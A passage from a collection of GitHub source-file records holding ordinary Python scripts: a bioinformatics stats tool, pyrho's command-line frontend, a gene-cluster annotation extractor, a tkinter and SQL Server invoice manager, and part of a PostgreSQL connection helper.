uid\")\nparser.add_argument(\"--stats\", type=str, help=\"path of the file with effective number of abstracts read by AOPhf\")\nparser.add_argument(\"--output\", type=str, help=\"path of the output file (table)\")\nparser.add_argument(\"--stressor\", type=str, help=\"name of the stressor\")\nargs = parser.parse_args()\n\nuid_file = args.uid\nstats_file = args.stats\noutput_file = args.output\nstressor_name = os.path.basename(output_file)\n# stressor_name = args.stressor\nmode = args.mode\n\n###### uid\nwith open(uid_file) as id_file:\n    n_uid = 0\n    for uid in id_file:\n        if(stressor_name == uid.split(\" \")[0]):\n            n_uid=uid.split(\" \")[1]\n\n###### traited abstract\nwith open(stats_file) as s_file:\n    total_abs = 0\n    for abs in s_file:\n        total_abs += int(abs)\n\n###### tsv output\no_df = pd.read_csv(output_file, sep='\\t', header=0)\no_df = o_df.rename(columns=lambda x: x.strip())\nprint(o_df)\n# count link total\nnb_link = len(o_df[\"pmid\"])\n# count abstract total\nnb_abst = len(o_df[\"pmid\"].unique())\nif mode == \"stressor-event\":\n    #ev_links = o_df.groupby('event')['pmid'].count()\n    ev_links = o_df.event.value_counts()\nif mode ==\"event-event\":\n    ev_links = o_df.groupby(['event_1', 'event_2'])[\"pmid\"].count()\n\n###### Writing results\n#stressor-event\nif mode ==\"stressor-event\":\n    # Table stats\n    resume_file = \"resume_{}.txt\".format(stressor_name)\n    with open(resume_file, \"w\") as resume:\n        resume.write(\"name of compound : {}.\\n\".format(stressor_name))\n        resume.write(\"We found {} links between {} and your list of events. It correspond to {} abstracts and {} events found.\\n\".format(nb_link, stressor_name, nb_abst, len(ev_links)))\n        resume.write(\"Please find here a resume of what we found:\\n\")\n        df_for_stats = [{'stressor': stressor_name, 'nb_uid_extracted':str(n_uid)+\"(\"+str(total_abs)+\")\", 'nb_abstract':nb_abst, 'nb_link':nb_link}]\n        #df_for_stats = [{'stressor': stressor_name, 'nb_uid_extracted':n_uid, 'nb_traited_AOPhf':total_abs, 'nb_abstract':nb_abst, 'nb_link':nb_link}]\n\n        df_for_stats= pd.DataFrame(data=df_for_stats)\n        df_for_stats.to_csv('stats_stressor-event.tsv',sep='\\t',index=False)\n        # df which will be used for scoring\n        df_for_scoring = pd.DataFrame(columns=['stressor','nb_traited_AOPhf','event','link'])\n        for ev, link in ev_links.iteritems():\n            new_row = {'stressor':stressor_name, 'nb_traited_AOPhf':total_abs, 'event':ev, 'link':link}\n            df_for_scoring = df_for_scoring.append(new_row, ignore_index=True)\n            resume.write(\"{}\\t{}\\n\".format(ev,link))\n        df_for_scoring.to_csv('prep_scoring_stressor-event.tsv',sep='\\t',index=False) \n#event-event\nif mode ==\"event-event\":\n    #Table stats\n    df_for_stats = pd.DataFrame(columns=['event_1','event_2','nb_uid_extracted','nb_traited_AOPhf', 'nb_abstract', 'nb_link'])\n    df_for_scoring = pd.DataFrame(columns=['event_1','event_2','link'])\n    for ev, link in ev_links.iteritems():\n        new_row_stats = [{'event_1': ev[0], 'event_2' : ev[1], 'nb_uid_extracted':n_uid, 'nb_traited_AOPhf':total_abs, 'nb_abstract':nb_abst, 'nb_link':nb_link}]\n        new_row_scoring = [{'event_1': ev[0], 'event_2' : ev[1], 'link':link}]\n        df_for_stats = df_for_stats.append(new_row_stats, ignore_index=True)\n        df_for_scoring = df_for_scoring.append(new_row_scoring, ignore_index=True)\n    df_for_stats.to_csv('stats_event-event.tsv',sep='\\t', index=False)\n    df_for_scoring.to_csv('prep_scoring_event-event.tsv',sep='\\t', index=False)\n","repo_name":"systox1124/AOP-helpFinder","sub_path":"method/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":5295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"18708912831","text":"\"\"\"Constructs parsers for the command line interface.\"\"\"\nimport logging\nfrom argparse import ArgumentParser\nfrom pyrho import VERSION\nfrom pyrho.make_table import _main as make_table\nfrom pyrho.make_table import _args as make_table_args\nfrom pyrho.optimizer import _main as optimize\nfrom pyrho.optimizer import _args as optimize_args\nfrom pyrho.hyperparameter_optimizer import _main as hyperparam\nfrom pyrho.hyperparameter_optimizer import _args as hyperparam_args\nfrom pyrho.compute_r2 import _main as compute_r2\nfrom pyrho.compute_r2 import _args as compute_r2_args\n\nCOMMANDS = {\n    'make_table': {'cmd': make_table, 'parser': make_table_args},\n    'optimize': {'cmd': optimize, 'parser': optimize_args},\n    'hyperparam': {'cmd': hyperparam, 'parser': hyperparam_args},\n    'compute_r2': {'cmd': compute_r2, 'parser': compute_r2_args}\n}\n\n\ndef main():\n    \"\"\"\n    Takes command line input and calls appropriate pyrho command.\n\n    The available commands are:\n        make_table: Build lookup tables to use in other commands.\n        hyperparam: Perform simulation studies to determine good\n            hyperparameter settings for pyrho optimize.\n        optimize: Infer fine-scale recombination maps from sequence data.\n        compute_r2: Compute quantiles or mean of the theoretical\n            distribution of r^2.\n    Calling pyrho <command> --help will show the available options for each\n    subcommand.\n    \"\"\"\n    parser = ArgumentParser(\n        description=\"\"\"\n                    pyrho v%s quickly infers fine-scale recombination\n                    maps using composite likelihoods and gradient-based\n                    optimization.\n                    \"\"\" % VERSION,\n        usage='pyrho <command> <options>'\n    )\n    subparsers = parser.add_subparsers(title='Commands', dest='command')\n    for cmd in COMMANDS:\n        cmd_parser = COMMANDS[cmd]['parser'](subparsers)\n        cmd_parser.add_argument(\n            '--logfile', required=False, type=str, default='',\n            help='File to store information about the pyrho run. To print to '\n                 'stdout use \"-\" or \".\"  Defaults to no logging.'\n        )\n        cmd_parser.add_argument(\n            '-v', '--verbosity', required=False, type=int, default=30,\n            help='Amount of information to print to logfile on a 0-50 scale.'\n        )\n\n    args = parser.parse_args()\n    try:\n        func = COMMANDS[args.command]['cmd']\n    except KeyError:\n        parser.print_help()\n        exit()\n    if args.logfile == '-' or args.logfile == '.':\n        logging.basicConfig(level=50 - args.verbosity)\n    elif args.logfile:\n        logging.basicConfig(filename=args.logfile, level=50 - args.verbosity)\n    func(args)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"popgenmethods/pyrho","sub_path":"pyrho/frontend.py","file_name":"frontend.py","file_ext":"py","file_size_in_byte":2743,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"22"}
+{"seq_id":"42004848141","text":"#!/usr/bin/env python\n\nimport re\nimport argparse\nimport pandas as pd\nfrom Bio import SeqIO\n\ndef get_annotation(cluster, genbank, strain):\n    df = pd.read_csv(cluster, sep=\"\\t\")\n    recs = [i for i in SeqIO.parse(genbank, \"genbank\")]\n    gene_coords = {}\n    for rec in recs:\n        for f in rec.features:\n            if f.type == \"CDS\":\n                if 'pseudo' not in f.qualifiers.keys():\n                    ## Needed to truncate the first amino acid residue because Anvio somehow didn't preserve the same coordinates as the original Genbank file\n                    ## needed to start from [1:] instead of all of it\n                    x = f.qualifiers['translation'][0].replace(\"-\", \"\")\n                    modified = x[1:]\n                    gene_coords[modified] = (f.qualifiers['locus_tag'][0], f.location, f.qualifiers['product'][0])\n    \n    hits = []\n    for i, j, k in zip(df.aa_sequence, df.gene_cluster_id, df.genome_name):\n        x = i.replace(\"-\", \"\")\n        mod_aa = x[1:]\n        if mod_aa in gene_coords:\n            hits.append((gene_coords[mod_aa][0], gene_coords[mod_aa][2], j, strain))\n\n    sets = set(hits)\n\n    for j in sorted(sets):\n        print('{0}\\t{1}\\t{2}\\t{3}'.format(j[2], j[3], j[0], j[1]))\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description=\"This script parses for annotation of gene clusters identified by Anvi'o\")\n    parser.add_argument(\"-c\", \"--gene_cluster_info\", required=True, help=\"gene cluster info file\")\n    parser.add_argument(\"-g\", \"--genbank_file\", required=True, help=\"original Genbank file from NCBI\")\n    parser.add_argument(\"-s\", \"--strain\", required=True, help=\"strain name\")\n    args = parser.parse_args()\n    get_annotation(args.gene_cluster_info, args.genbank_file, args.strain)\n\n","repo_name":"SawLabGW/vcor","sub_path":"extract_cluster_annotations.py","file_name":"extract_cluster_annotations.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"7651578893","text":"from tkinter import *\nfrom tkinter import messagebox\nimport pyodbc\nfrom Konekcija import konn\n\nconn = konn\nclass FakturaClass():\n    def Faktura():\n        Faktura=Toplevel()\n        Faktura.title('Fakture')\n        Faktura.geometry('600x600')\n        ####\n        def insert():\n            try:\n                cursor2=conn.cursor()\n                sql2='SELECT ID FROM Poslodavac WHERE Naziv=?'\n                val2=varPs.get()\n                cursor2.execute(sql2,val2)\n                for row in cursor2:\n                    poslodavacid=row[0]\n\n                cursor=conn.cursor()\n                sql='INSERT INTO Faktura (ZadrugaID,ID,DatumFakture,OpisFakture,PoslodavacID,PDV) values (?,?,?,?,?,?)'\n                val=(1,fakturaid_entry.get(),datum_entry.get(),opis_entry.get(),poslodavacid,pdv_entry.get())\n                cursor.execute(sql,val)\n                conn.commit()\n                \n            except Exception as e:\n                messagebox.showerror(title='Neuspesno',message='Popunite sve polja ispravno'+\"\\n\"+\"\\n\"+str(e))\n            else:\n                messagebox.showinfo(title='Uspesno',message='Uspesno ste uneli fakturu')\n\n                fakturaid_entry.delete(0,END)\n                datum_entry.delete(0,END)\n                opis_entry.delete(0,END)\n                pdv_entry.delete(0,END)\n            \n        def sveFakture():\n            Sve=Toplevel()\n            Sve.title('Sve fakture')\n            Sve.geometry('600x600')\n\n            cursor=conn.cursor()\n            sql='SELECT * FROM Faktura'\n            cursor.execute(sql)\n            global idF\n            global datumF\n            global opisF\n            global iznosF\n            global zadrugaF\n            global poslodavacidF\n            global pdv\n            zadrugaF=''\n            idF=''\n            datumF=''\n            opisF=''\n            iznosF=''\n            poslodavacidF=''\n            pdv=''\n            for row in cursor:\n                zadrugaF += 'Box' + \"\\n\"\n                idF += str(row[1]) + \"\\n\"\n                datumF += str(row[2]) + \"\\n\"\n                opisF += str(row[3]) + \"\\n\"\n                iznosF += str(row[4]) + \"\\n\" \n                poslodavacidF += str(row[5]) + \"\\n\"\n                pdv += str(row[6]) + \"\\n\"\n             ###\n            zadruga=Label(Sve,text='Zadruga')\n            zadruga.grid(row=0,column=0)\n\n            zadrugaNaziv=Label(Sve,text=zadrugaF)\n            zadrugaNaziv.grid(row=1,column=0)\n            ###\n            faktura=Label(Sve,text='Faktura ID')\n            faktura.grid(row=0,column=1)\n\n            fakturaid=Label(Sve,text=idF)\n            fakturaid.grid(row=1,column=1)\n\n            ###\n            opisFakture=Label(Sve,text='Naziv fakture')\n            opisFakture.grid(row=0,column=2)\n\n            opisFaktureE=Label(Sve,text=opisF)\n            opisFaktureE.grid(row=1,column=2)\n            ###\n            datumFaktura=Label(Sve,text='Datum fakture')\n            datumFaktura.grid(row=0,column=3)\n\n            datumfakturaF=Label(Sve,text=datumF)\n            datumfakturaF.grid(row=1,column=3)\n            ###\n            iznos=Label(Sve,text='Iznos fakture')\n            iznos.grid(row=0,column=4)\n\n            iznosF=Label(Sve,text=iznosF)\n            iznosF.grid(row=1,column=4)\n            ###\n            poslodavac=Label(Sve,text='ID poslodavca')\n            poslodavac.grid(row=0,column=5)\n\n            poslodavacF=Label(Sve,text=poslodavacidF)\n            poslodavacF.grid(row=1,column=5)\n            ###\n            pdvSve=Label(Sve,text='PDV')\n            pdvSve.grid(row=0,column=6)\n\n            pdvSveF=Label(Sve,text=pdv)\n            pdvSveF.grid(row=1,column=6)\n\n        def selectFakturu():\n            SelectFaktura=Toplevel()\n            SelectFaktura.title('Izabrana faktura')\n            SelectFaktura.geometry('750x600')\n\n            cursor=conn.cursor()\n            sql='SELECT * FROM Faktura WHERE ID=?'\n            val=pretragaid.get()\n\n            try:\n                cursor.execute(sql,val)\n            except Exception:\n                neispravno=Label(SelectFaktura,text='Neispravno unet ID')\n                neispravno.grid(row=0,column=0)\n            else:\n                pass\n\n            fakturaidd=''\n            datumfakture=''\n            opisfakture=''\n            iznosfakture=''\n            pdvFakture=''\n            for row in cursor:\n                fakturaidd=str(row[1])\n                datumfakture=str(row[2])\n                opisfakture=str(row[3])\n                iznosfakture=str(row[4])\n                poslodavacid=row[5]\n                pdvFakture=str(row[6])\n            \n            if not fakturaidd:\n                nema=Label(SelectFaktura,text='Nije pronadjena ni jedna faktura')\n                nema.grid(row=0,column=0)\n            else:\n\n                cursor2=conn.cursor()\n                sql2='SELECT Naziv FROM Poslodavac WHERE ID=?'\n                val2=poslodavacid\n                cursor2.execute(sql2,val2)\n                nazivposlodavca=''\n                for row in cursor2:\n                    nazivposlodavca=str(row[0])\n\n                ###\n                zadruga=Label(SelectFaktura,text='Zadruga')\n                zadruga.grid(row=0,column=0)\n\n                zadrugaN=Label(SelectFaktura,text='Box')\n                zadrugaN.grid(row=0,column=1)\n                ###\n                fakturaid=Label(SelectFaktura,text='ID Fakture')\n                fakturaid.grid(row=1,column=0)\n\n                fakturaidN=Label(SelectFaktura,text=fakturaidd)\n                fakturaidN.grid(row=1,column=1)\n\n                ###\n                fakturadatum=Label(SelectFaktura,text='Datum Fakture')\n                fakturadatum.grid(row=2,column=0)\n\n                fakturadatumN=Entry(SelectFaktura,width=30)\n                fakturadatumN.grid(row=2,column=1)\n                fakturadatumN.insert(0,datumfakture)\n                ###\n                fakturaopis=Label(SelectFaktura,text='Naziv Fakture')\n                fakturaopis.grid(row=3,column=0)\n\n                fakturaopisN=Entry(SelectFaktura,width=30)\n                fakturaopisN.grid(row=3,column=1)\n                fakturaopisN.insert(0,opisfakture)\n                ###\n                fakturaiznos=Label(SelectFaktura,text='Iznos Fakture')\n                fakturaiznos.grid(row=4,column=0)\n\n                fakturaiznosN=Entry(SelectFaktura,width=30)\n                fakturaiznosN.grid(row=4,column=1)\n                fakturaiznosN.insert(0,iznosfakture)\n                ####\n                fakturaPDV=Label(SelectFaktura,text='PDV')\n                fakturaPDV.grid(row=5,column=0)\n\n                fakturaPDV_entry=Entry(SelectFaktura,width=30)\n                fakturaPDV_entry.grid(row=5,column=1)\n                fakturaPDV_entry.insert(0,pdvFakture)\n                ###\n                fakturaPoslodavacNaziv=Label(SelectFaktura,text='Naziv poslodavca')\n                fakturaPoslodavacNaziv.grid(row=6,column=0)\n\n                fakturaPoslodavacNazivN=Label(SelectFaktura,text=nazivposlodavca)\n                fakturaPoslodavacNazivN.grid(row=6,column=1)\n                ###\n                def updateFakturu():\n                    try:\n                        cursor=conn.cursor()\n                        sql='UPDATE Faktura SET DatumFakture=?,OpisFakture=?,PDV=? WHERE ID=?'\n                        val=(fakturadatumN.get(),fakturaopisN.get(),fakturaPDV_entry.get(),pretragaid.get())\n                        cursor.execute(sql,val)\n                        conn.commit()\n                    except Exception as e:\n                        messagebox.showerror(title='Neuspesno',message='Popunite sve polja ispravno'+\"\\n\"+\"\\n\"+str(e))\n                    else:\n                        messagebox.showinfo(title='Uspesno',message='Uspesno ste updateovali fakturu')\n                        SelectFaktura.destroy()\n\n                def iznosFaktureUpdate():\n                    cursor=conn.cursor()\n                    sql='SELECT IznosFakture FROM Faktura WHERE ID=?'\n                    val=pretragaid.get()\n                    cursor.execute(sql,val)\n                    iznos=''\n                    for row in cursor:\n                        iznos=str(row[0])\n                    if (iznos != str(fakturaiznosN.get())):\n                        cursor2=conn.cursor()\n                        sql2='UPDATE Faktura SET IznosFakture=? WHERE ID=?'\n                        val2=(fakturaiznosN.get(),pretragaid.get())\n                        try: \n                            cursor2.execute(sql2,val2)\n                            conn.commit()\n                        except Exception as e:\n                            messagebox.showerror(title='Neuspesno',message=str(e))\n                            SelectFaktura.destroy()\n                        else:\n                            pass\n\n                def deleteFakturu():\n                    try:\n                        cursor=conn.cursor()\n                        sql='DELETE FROM Faktura WHERE ID=?'\n                        val=pretragaid.get()\n                        cursor.execute(sql,val)\n                        conn.commit()\n                    except Exception as e:\n                        messagebox.showerror(title='Neuspesno',message=str(e))\n                    else:\n                        messagebox.showinfo(title='Uspesno',message='Uspesno ste obirsali fakturu')\n                        SelectFaktura.destroy()\n\n                def deleteStavkeZaFakturu():\n                    cursor=conn.cursor()\n                    sql='DELETE FROM StavkaFakture WHERE FakturaID=?'\n                    val=pretragaid.get()\n                    cursor.execute(sql,val)\n                    conn.commit()\n\n\n                ###\n                fakturaUpdate_button=Button(SelectFaktura,text='Update fakturu',command=lambda:[iznosFaktureUpdate(),updateFakturu()])\n                fakturaUpdate_button.grid(row=7,column=1)\n\n                fakturaDelete_button=Button(SelectFaktura,text='Obrisite fakturu',command=lambda:[deleteStavkeZaFakturu(),deleteFakturu()])\n                fakturaDelete_button.grid(row=8,column=1)       \n                ###\n                novaStavka=Label(SelectFaktura,text='Dodajte stavku')\n                novaStavka.grid(row=16,column=1)\n                ###\n                noviID=Label(SelectFaktura,text='Unesite ID')\n                noviID.grid(row=17,column=0)\n\n                noviID_entry=Entry(SelectFaktura,width=30)\n                noviID_entry.grid(row=18,column=0)\n                ###\n                noviRB=Label(SelectFaktura,text='Unesite redni broj')\n                noviRB.grid(row=17,column=1)\n\n                noviRB_entry=Entry(SelectFaktura,width=30)\n                noviRB_entry.grid(row=18,column=1)\n                ###\n                noviOpis=Label(SelectFaktura,text='Unesite opis')\n                noviOpis.grid(row=17,column=2)\n\n                noviOpis_entry=Entry(SelectFaktura,width=30)\n                noviOpis_entry.grid(row=18,column=2)\n                ##\n                noviIznos=Label(SelectFaktura,text='Unesite iznos')\n                noviIznos.grid(row=17,column=3)\n\n                noviIznos_entry=Entry(SelectFaktura,width=30)\n                noviIznos_entry.grid(row=18,column=3)\n                ###\n                def insertStavku():\n                    try:\n                        cursor=conn.cursor()\n                        sql='SELECT ZadrugaId,ID FROM Faktura WHERE ID=?'\n                        val=pretragaid.get()\n                        cursor.execute(sql,val)\n                        for row in cursor:\n                            zadrugaid=row[0]\n                            fakturaid=row[1]\n\n                        if noviID_entry.get()=='':\n                            nID=tuple(noviID_entry.get())\n                            messagebox.showerror(title='Neispravan id',message='Unesite id')\n                        else:\n                            nID=noviID_entry.get()\n\n                        if noviRB_entry.get()=='':\n                            nRB=tuple(noviRB_entry.get())\n                            messagebox.showerror(title='Neispravan redni broj',message='Unesite redni broj')\n                        else:\n                            nRB=noviRB_entry.get()\n\n                        if noviOpis_entry.get()=='':\n                            nOpis=tuple(noviOpis_entry.get())\n                            messagebox.showerror(title='Neispravan opis',message='Unesite opis')\n                        else:\n                            nOpis=noviOpis_entry.get()\n\n                        if noviIznos_entry.get()=='':\n                            nIznos=tuple(noviIznos_entry.get())\n                            messagebox.showerror(title='Neispravan iznos',message='Unesite iznos')\n                        else:\n                            nIznos=noviIznos_entry.get()\n\n                        cursor2=conn.cursor()\n                        sql2='INSERT INTO StavkaFakture VALUES (?,?,?,?,?,?)'\n                        val2=(zadrugaid,fakturaid,nID,nRB,nOpis,nIznos)\n                        cursor2.execute(sql2,val2)\n                        conn.commit()\n                    except Exception as e:\n                        messagebox.showerror(title='Neuspesno',message='Popunite sve polja ispravno'+\"\\n\"+\"\\n\"+str(e))\n                    else:\n                        messagebox.showinfo(title='Uspesno',message='Uspesno ste uneli novu stavku fakture')\n                        SelectFaktura.destroy()\n\n\n\n\n                ########    \n                insertStavka=Button(SelectFaktura,text='Unesite stavku',command=insertStavku)\n                insertStavka.grid(row=19,column=1)\n                ###\n                ##\n                cursor3=conn.cursor()\n                sql3='SELECT * FROM StavkaFakture WHERE FakturaID=?'\n                val3=pretragaid.get()\n                cursor3.execute(sql3,val3)\n                stavkaId=''\n                stavkaRedniBroj=''\n                stavkaOpis=''\n                stavkaIznos=''\n                for row in cursor3:\n                    stavkaId += str(row[2]) + \"\\n\"\n                    stavkaRedniBroj += str(row[3]) + \"\\n\"\n                    stavkaOpis += str(row[4]) + \"\\n\"\n                    stavkaIznos += str(row[5]) + \"\\n\"\n                \n                if not stavkaId :\n                    nemaStavki=Label(SelectFaktura,text='Stavke za izabranu fakturu:')\n                    nemaStavki.grid(row=9,column=1)\n\n                    nemaStavki=Label(SelectFaktura,text='Nema stavki za izabranu fakturu')\n                    nemaStavki.grid(row=10,column=1)\n                ###\n                else:\n                    nemaStavki=Label(SelectFaktura,text='Stavke za izabranu fakturu:')\n                    nemaStavki.grid(row=9,column=1)\n                    ###\n                    idstavka=Label(SelectFaktura,text='Stavka ID')\n                    idstavka.grid(row=10,column=0)\n\n                    idstavkaI=Label(SelectFaktura,text=stavkaId)\n                    idstavkaI.grid(row=11,column=0)\n                    ###\n                    rbstavka=Label(SelectFaktura,text='Redni broj stavke')\n                    rbstavka.grid(row=10,column=1)\n\n                    rbstavkaI=Label(SelectFaktura,text=stavkaRedniBroj)\n                    rbstavkaI.grid(row=11,column=1)\n                    ###\n                    opisstavka=Label(SelectFaktura,text='Opis stavke')\n                    opisstavka.grid(row=10,column=2)\n\n                    opisstavkaI=Label(SelectFaktura,text=stavkaOpis)\n                    opisstavkaI.grid(row=11,column=2)\n                    ###\n                    iznosstavka=Label(SelectFaktura,text='Iznos stavke')\n                    iznosstavka.grid(row=10,column=3)\n\n                    iznosstavkaI=Label(SelectFaktura,text=stavkaIznos)\n                    iznosstavkaI.grid(row=11,column=3)\n\n                    def stavkaSelect():\n                        Stavka=Toplevel()\n                        Stavka.title('Stavka fakture')\n                        Stavka.geometry('600x600')\n\n                        cursor2=conn.cursor()\n                        sql2='SELECT id FROM StavkaFakture WHERE FakturaID=? and ID=?'\n                        val2=(pretragaid.get(),selectStavka_entry.get())\n                        cursor2.execute(sql2,val2)\n                        stavkaiddd=''\n                        for row in cursor2:\n                            stavkaiddd=row[0]\n\n                        if not stavkaiddd:\n                            nemastavke=Label(Stavka,text='Nije pronadjena ni jedna stavka')\n                            nemastavke.grid(row=0,column=0)\n                        else:\n                            ###\n                            stavkaid=Label(Stavka,text='Stavka id')\n                            stavkaid.grid(row=0,column=0)\n\n                            stavkaid_entry=Entry(Stavka,width=30)\n                            stavkaid_entry.grid(row=0,column=1)\n                            ###\n                            stavkarb=Label(Stavka,text='Redni broj stavke')\n                            stavkarb.grid(row=1,column=0)\n\n                            stavkarb_entry=Entry(Stavka,width=30)\n                            stavkarb_entry.grid(row=1,column=1)\n                            ###\n                            stavkaopis=Label(Stavka,text='Opis stavke')\n                            stavkaopis.grid(row=2,column=0)\n\n                            stavkaopis_entry=Entry(Stavka,width=30)\n                            stavkaopis_entry.grid(row=2,column=1)\n                            ###\n                            stavkaiznos=Label(Stavka,text='Iznos stavke')\n                            stavkaiznos.grid(row=3,column=0)\n\n                            stavkaiznos_entry=Entry(Stavka,width=30)\n                            stavkaiznos_entry.grid(row=3,column=1)\n                            ###\n                            cursor=conn.cursor()\n                            sql='SELECT * FROM StavkaFakture WHERE FakturaID=? and ID=?'\n                            val=(pretragaid.get(),selectStavka_entry.get())\n                            cursor.execute(sql,val)\n                            for row in cursor:\n                                stavkaid_entry.insert(0,row[2])\n                                stavkarb_entry.insert(0,row[3])\n                                stavkaopis_entry.insert(0,row[4])\n                                stavkaiznos_entry.insert(0,row[5])\n\n                            def updateStavku():\n                                try:\n\n                                    if stavkaid_entry.get()=='':\n                                        nID=tuple(stavkaid_entry.get())\n                                        messagebox.showerror(title='Neispravan id',message='Unesite id')\n                                    else:\n                                        nID=stavkaid_entry.get()\n\n                                    if stavkarb_entry.get()=='':\n                                        nRB=tuple(stavkarb_entry.get())\n                                        messagebox.showerror(title='Neispravan redni broj',message='Unesite redni broj')\n                                    else:\n                                        nRB=stavkarb_entry.get()\n\n                                    if stavkaopis_entry.get()=='':\n                                        nOpis=tuple(stavkaopis_entry.get())\n                                        messagebox.showerror(title='Neispravan opis',message='Unesite opis')\n                                    else:\n                                        nOpis=stavkaopis_entry.get()\n\n                                    if stavkaiznos_entry.get()=='':\n                                        nIznos=tuple(stavkaiznos_entry.get())\n                                        messagebox.showerror(title='Neispravan iznos',message='Unesite iznos')\n                                    else:\n                                        nIznos=stavkaiznos_entry.get()\n\n                                    #####    \n                                    cursor=conn.cursor()\n                                    sql='UPDATE StavkaFakture SET ID=?,RedniBroj=?,OpisStavke=?,IznosStavke=? WHERE FakturaID=? and ID=?'\n                                    val=(nID,nRB,nOpis,nIznos,pretragaid.get(),selectStavka_entry.get())\n                                    cursor.execute(sql,val)\n                                    conn.commit()\n                                except Exception as e:\n                                    messagebox.showerror(title='Neuspesno',message='Popunite sve polja ispravno'+\"\\n\"+\"\\n\"+str(e))\n                                else:\n                                    messagebox.showinfo(title='Uspesno',message='Uspesno ste updateovali stavku')\n                                    Stavka.destroy()\n                                    SelectFaktura.destroy()\n\n                            def deleteStavku():\n                                try:\n                                    cursor=conn.cursor()\n                                    sql='DELETE FROM StavkaFakture WHERE FakturaID=? and ID=?'\n                                    val=(pretragaid.get(),selectStavka_entry.get())\n                                    cursor.execute(sql,val)\n                                    conn.commit()\n                                except Exception as e:\n                                    messagebox.showerror(title='Neuspesno',message=str(e))\n                                else:\n                                    messagebox.showinfo(title='Uspesno',message='Uspesno ste obrisali stavku')\n                                    Stavka.destroy()\n                                    SelectFaktura.destroy()\n                                \n                            ####    \n                            stavkaUpdate=Button(Stavka,text='Update stavku',command=updateStavku)\n                            stavkaUpdate.grid(row=4,column=1)\n\n                            stavkaDelete=Button(Stavka,text='Obrisite stavku',command=deleteStavku)\n                            stavkaDelete.grid(row=5,column=1)\n\n\n                    ####    \n                    selectStavka=Label(SelectFaktura,text='Izaberite stavku')\n                    selectStavka.grid(row=13,column=0)\n\n                    selectStavka_entry=Entry(SelectFaktura,width=30)\n                    selectStavka_entry.grid(row=13,column=1)\n\n                    selectStavka_btn=Button(SelectFaktura,text='Izaberite stavku',command=stavkaSelect)\n                    selectStavka_btn.grid(row=14,column=1)\n            \n\n           \n\n        ####\n        zadruga=Label(Faktura,text='Zadruga')\n        zadruga.grid(row=0,column=0)\n\n        zadrugaNaziv=Label(Faktura,text='BOX')\n        zadrugaNaziv.grid(row=0,column=1)\n        ###\n        fakturaid=Label(Faktura,text='Unesite id fakture')\n        fakturaid.grid(row=1,column=0)\n        global fakturaid_entry\n        fakturaid_entry=Entry(Faktura,width=30)\n        fakturaid_entry.grid(row=1,column=1)\n        ###\n        datum=Label(Faktura,text='Unesite datum fakture')\n        datum.grid(row=2,column=0)\n        global datum_entry\n        datum_entry=Entry(Faktura,width=30)\n        datum_entry.grid(row=2,column=1)\n        ###\n        opis=Label(Faktura,text='Unesite naziv fakture')\n        opis.grid(row=3,column=0)\n        global opis_entry\n        opis_entry=Entry(Faktura,width=30)\n        opis_entry.grid(row=3,column=1)\n        ###\n        pdv=Label(Faktura,text='Unesite pdv (u %) za fakturu ')\n        pdv.grid(row=4,column=0)\n        global pdv_entry\n        pdv_entry=Entry(Faktura,width=30)\n        pdv_entry.grid(row=4,column=1)\n        ###\n        poslodavac=Label(Faktura,text='Izaberite poslodavca')\n        poslodavac.grid(row=5,column=0)\n\n        cursor=conn.cursor()\n        sql='SELECT Naziv FROM Poslodavac'\n        cursor.execute(sql)\n        poslodavcii=[]\n        for row in cursor:\n            poslodavcii += (row)\n\n        global varPs\n        varPs=StringVar(Faktura)\n        varPs.set('Izaberite')\n        poslodavci=OptionMenu(Faktura,varPs,*poslodavcii)\n        poslodavci.grid(row=5,column=1)\n\n        ###\n        insertButton=Button(Faktura,text='Unesite fakturu',command=insert)\n        insertButton.grid(row=6,column=1)\n\n        ###\n        pretraga=Label(Faktura,text='Izaberite fakturu po ID-u')\n        pretraga.grid(row=7,column=0)\n\n        pretragaid=Entry(Faktura,width=30)\n        pretragaid.grid(row=7,column=1)\n        ###\n        selectFakturu=Button(Faktura,text='Prikazite fakturu',command=selectFakturu)\n        selectFakturu.grid(row=8,column=1)\n        ##\n        sveFakture=Button(Faktura,text='Prikazite sve fakture',command=sveFakture)\n        sveFakture.grid(row=9,column=1)\n\n\n        ","repo_name":"markogajicgithub1997/Python-SQL-Server","sub_path":"Faktura.py","file_name":"Faktura.py","file_ext":"py","file_size_in_byte":24762,"program_lang":"python","lang":"sl","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"20268144346","text":"\"\"\"\nInteract with the SQLite database\n\"\"\"\n# @hack rseekely uggggh context being a global crap\n# pylint: disable=invalid-name,global-statement\nimport logging\nimport time\n\nfrom werkzeug.local import Local\nimport psycopg2\n\nfrom quagen import config\n\n# Allows us to share our database connection in a WSGI environment\n# https://werkzeug.palletsprojects.com/en/0.16.x/local/\ncontext = Local()\n\n\ndef set_context(new_context):\n    \"\"\"\n    Set thread context for sharing db connection\n    \"\"\"\n    global context\n    context = new_context\n\n\ndef make_connection(retry=False):\n    \"\"\"\n    Makes a new connection to the configred database.\n\n    Args:\n        retry (bool): In case of failure, keep retrying the connection every 5\n        seconds until success.\n\n    Returns:\n        (Connection): Database connection\n    \"\"\"\n    connection = None\n\n    try:\n        connection = psycopg2.connect(\n            connect_timeout=1,\n            user=config.SETTING_DB_USER,\n            password=config.SETTING_DB_PASSWORD,\n            host=config.SETTING_DB_HOST,\n            port=config.SETTING_DB_PORT,\n            database=config.SETTING_DB_NAME,\n        )\n\n    except psycopg2.OperationalError as error:\n        if not retry:\n            raise error\n\n        logging.error(\"Error connecting to db. Trying reconnect in 5 seconds...\")\n        logging.debug(error)\n        time.sleep(5)\n        return make_connection(True)\n\n    except (Exception, psycopg2.Error) as error:\n        raise error\n\n    return connection\n\n\ndef get_connection(retry=False):\n    \"\"\"\n    Retrieve the connection to the configured database. Makes a connection\n    if none already exists.\n\n    Returns:\n        (Connection): Database connection\n    \"\"\"\n    global context\n    if \"db\" not in context:\n        context.db = make_connection(retry)\n\n    return context.db\n\n\ndef query(statement, parameters=(), one=False, commit=True):\n    \"\"\"\n    Query the database (e.g. SELECT)\n\n    Args:\n        statement (str): Prepared SQL 